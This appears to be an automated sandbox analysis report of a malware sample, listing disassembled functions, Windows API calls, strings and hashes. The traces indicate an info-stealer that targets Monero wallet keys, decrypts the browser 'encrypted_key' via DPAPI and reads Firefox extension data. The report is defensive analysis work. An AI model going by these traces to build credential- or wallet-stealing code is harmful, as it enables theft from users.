Instruction Fuzzy Hash: BC01CC75500108FFCB04DFECC994EAE7BB9EB48354F148548F909AB244CA75AE40DF91

Function 009212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009212B4
RtlAllocateHeap.NTDLL(00000000), ref: 009212BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009212F5
RegCloseKey.ADVAPI32(?), ref: 009212FF

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 05b20f7e70f90828f204407a3af30867c58e98ae236b1579497d9cb85ae054c5
Instruction ID: 02a36a9a8980f23137638453859db967fe6e5bda61b2bdcf3cc415377f3af5fe
Opcode Fuzzy Hash: 05b20f7e70f90828f204407a3af30867c58e98ae236b1579497d9cb85ae054c5
Instruction Fuzzy Hash: 9E01E6B5A40208BBDB14DFD4DC59FAEB7BCEB48701F108155FA15A72C0DAB5AA018F51

Function 00936630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00936663

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

ShellExecuteEx.SHELL32(0000003C), ref: 00936726
ExitProcess.KERNEL32 ref: 00936755

Strings

<, xrefs: 009366D9

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 0791ef7e8745713e66842698ac2caf31723498c6f6c75136431c2581fb51a16d
Instruction ID: d317a476531e07c0681f0aaba46e35f3b5fe75c408789f46d305d322b6535935
Opcode Fuzzy Hash: 0791ef7e8745713e66842698ac2caf31723498c6f6c75136431c2581fb51a16d
Instruction Fuzzy Hash: 0E31FDB1801218AADB14EB50DC95BDE7778AF54300F404199F20A77191DF746B49CF5A

Function 009387C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00940E28,00000000,?), ref: 0093882F
RtlAllocateHeap.NTDLL(00000000), ref: 00938836
wsprintfA.USER32 ref: 00938850

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Strings

%dx%d, xrefs: 00938847

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: ffeb2c6ac86d6bd37112607f8ac9ab06a6cf139cb669c1f6fcc4657ac3a67608
Instruction ID: eaceb1936da3f50bdd40d27aa3b0415d60cb9880c853e06d497a4ee98d076ca3
Opcode Fuzzy Hash: ffeb2c6ac86d6bd37112607f8ac9ab06a6cf139cb669c1f6fcc4657ac3a67608
Instruction Fuzzy Hash: 6521EAB1A45208ABDB04DF94DD49FAEBBB8FB48711F104119F605B72D0CBB9A9018FA1

Function 00938D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0093951E,00000000), ref: 00938D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00938D62
wsprintfW.USER32 ref: 00938D78

Strings

%hs, xrefs: 00938D6F

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 8da0c0615ee3ccbbf9f4716a68baf97097880e4e24dbe80d5d79aa9a1ce3ef29
Instruction ID: 45a93354c558ba52848d375c1b49b972f7ea5ae176ee99d9cb11b88e6b254ba7
Opcode Fuzzy Hash: 8da0c0615ee3ccbbf9f4716a68baf97097880e4e24dbe80d5d79aa9a1ce3ef29
Instruction Fuzzy Hash: 0AE0E675A50208BFDB10DB94DD09E6977B8EB84702F004154FD0A972C0DDB56E109F56

Function 0092A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 00938B60: GetSystemTime.KERNEL32(00940E1A,0105C720,009405AE,?,?,009213F9,?,0000001A,00940E1A,00000000,?,01059110,?,\Monero\wallet.keys,00940E17), ref: 00938B86

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0092A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0092A3FF
lstrlen.KERNEL32(00000000), ref: 0092A6BC

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

DeleteFileA.KERNEL32(00000000), ref: 0092A743

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0004fb3a439ce0293bcc780a4f7cbead42795d16e82f909f6192d428b7f9ab55
Instruction ID: ec78896cd738047381d24339b067ac5de29d41ad9d76eafc27c60ede0dcef8bb
Opcode Fuzzy Hash: 0004fb3a439ce0293bcc780a4f7cbead42795d16e82f909f6192d428b7f9ab55
Instruction Fuzzy Hash: D0E1BC72810118ABDB05FBA4DC92FEE7338AF94300F508169F557B60A1EF746A49CF66

Function 0092D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 00938B60: GetSystemTime.KERNEL32(00940E1A,0105C720,009405AE,?,?,009213F9,?,0000001A,00940E1A,00000000,?,01059110,?,\Monero\wallet.keys,00940E17), ref: 00938B86

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0092D481
lstrlen.KERNEL32(00000000), ref: 0092D698
lstrlen.KERNEL32(00000000), ref: 0092D6AC
DeleteFileA.KERNEL32(00000000), ref: 0092D72B

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5f5dae55a77400a6c690f20238af87ffba9193eeaba83dc7701559aae4da2452
Instruction ID: c8c5d1aeb96c01272d5df8869f1ee0b0ed342983dcbf3a67e99e23b545aee232
Opcode Fuzzy Hash: 5f5dae55a77400a6c690f20238af87ffba9193eeaba83dc7701559aae4da2452
Instruction Fuzzy Hash: 0291FD72910108ABDB04FBA4DC96FEE7338AF94300F504168F547B60A1EF746A09CFA6

Function 0092D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 00938B60: GetSystemTime.KERNEL32(00940E1A,0105C720,009405AE,?,?,009213F9,?,0000001A,00940E1A,00000000,?,01059110,?,\Monero\wallet.keys,00940E17), ref: 00938B86

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0092D801
lstrlen.KERNEL32(00000000), ref: 0092D99F
lstrlen.KERNEL32(00000000), ref: 0092D9B3
DeleteFileA.KERNEL32(00000000), ref: 0092DA32

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9e5fb2c8ddd779ceb05b807c24167186f40ddef938ab2ca346923603b0dc9cd8
Instruction ID: 7ef38f57fe106c0d335945aeeabcb221ee642265cdfe6355e27cba38d0cf9347
Opcode Fuzzy Hash: 9e5fb2c8ddd779ceb05b807c24167186f40ddef938ab2ca346923603b0dc9cd8
Instruction Fuzzy Hash: DC81EB72910108AACF04FBA4DC96FEE7339AF94300F504528F547B60A1EF746A09DFA6

Function 0092F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009299EC
Part of subcall function 009299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00929A11
Part of subcall function 009299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00929A31
Part of subcall function 009299C0: ReadFile.KERNEL32(000000FF,?,00000000,0092148F,00000000), ref: 00929A5A
Part of subcall function 009299C0: LocalFree.KERNEL32(0092148F), ref: 00929A90
Part of subcall function 009299C0: CloseHandle.KERNEL32(000000FF), ref: 00929A9A

Part of subcall function 00938E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00938E52

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00941580,00940D92), ref: 0092F54C
lstrlen.KERNEL32(00000000), ref: 0092F56B

Strings

moz-extension+++, xrefs: 0092F5AD
^userContextId=4294967295, xrefs: 0092F59C

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 63d32c0f42a330eb7a11269a74cdde7df768139344a3571458ec7e3461773692
Instruction ID: cc4d18b1a4401d2bc4392ad01ab9a09634a3f3941a6720898c3896951b93860a
Opcode Fuzzy Hash: 63d32c0f42a330eb7a11269a74cdde7df768139344a3571458ec7e3461773692
Instruction Fuzzy Hash: BD51E171D10108AADB04FBB4DC96FED7379AFD4300F408528F956A7191EE346A09CFA6

Function 00933560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 6a223631c7ddec5bdf2a08e77482eb25e70f74245367340110d89fcdf450dc56
Instruction ID: ad774aca065070f4f10c52fab33a0a8febead7339773644be7b03cd0e7606007
Opcode Fuzzy Hash: 6a223631c7ddec5bdf2a08e77482eb25e70f74245367340110d89fcdf450dc56
Instruction Fuzzy Hash: E041F1B5D10109AFCB04EFA4D896FFEB778AB94304F108418F51677291DB756A05CFA2

Function 00929CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 009299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009299EC
Part of subcall function 009299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00929A11
Part of subcall function 009299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00929A31
Part of subcall function 009299C0: ReadFile.KERNEL32(000000FF,?,00000000,0092148F,00000000), ref: 00929A5A
Part of subcall function 009299C0: LocalFree.KERNEL32(0092148F), ref: 00929A90
Part of subcall function 009299C0: CloseHandle.KERNEL32(000000FF), ref: 00929A9A

Part of subcall function 00938E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00938E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00929D39

Part of subcall function 00929AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00924EEE,00000000,00000000), ref: 00929AEF
Part of subcall function 00929AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00924EEE,00000000,?), ref: 00929B01
Part of subcall function 00929AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00924EEE,00000000,00000000), ref: 00929B2A
Part of subcall function 00929AC0: LocalFree.KERNEL32(?,?,?,?,00924EEE,00000000,?), ref: 00929B3F

Part of subcall function 00929B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00929B84
Part of subcall function 00929B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00929BA3
Part of subcall function 00929B60: LocalFree.KERNEL32(?), ref: 00929BD3

Strings

DPAPI, xrefs: 00929D89
, xrefs: 00929DC1
"encrypted_key":", xrefs: 00929D30

Memory Dump Source

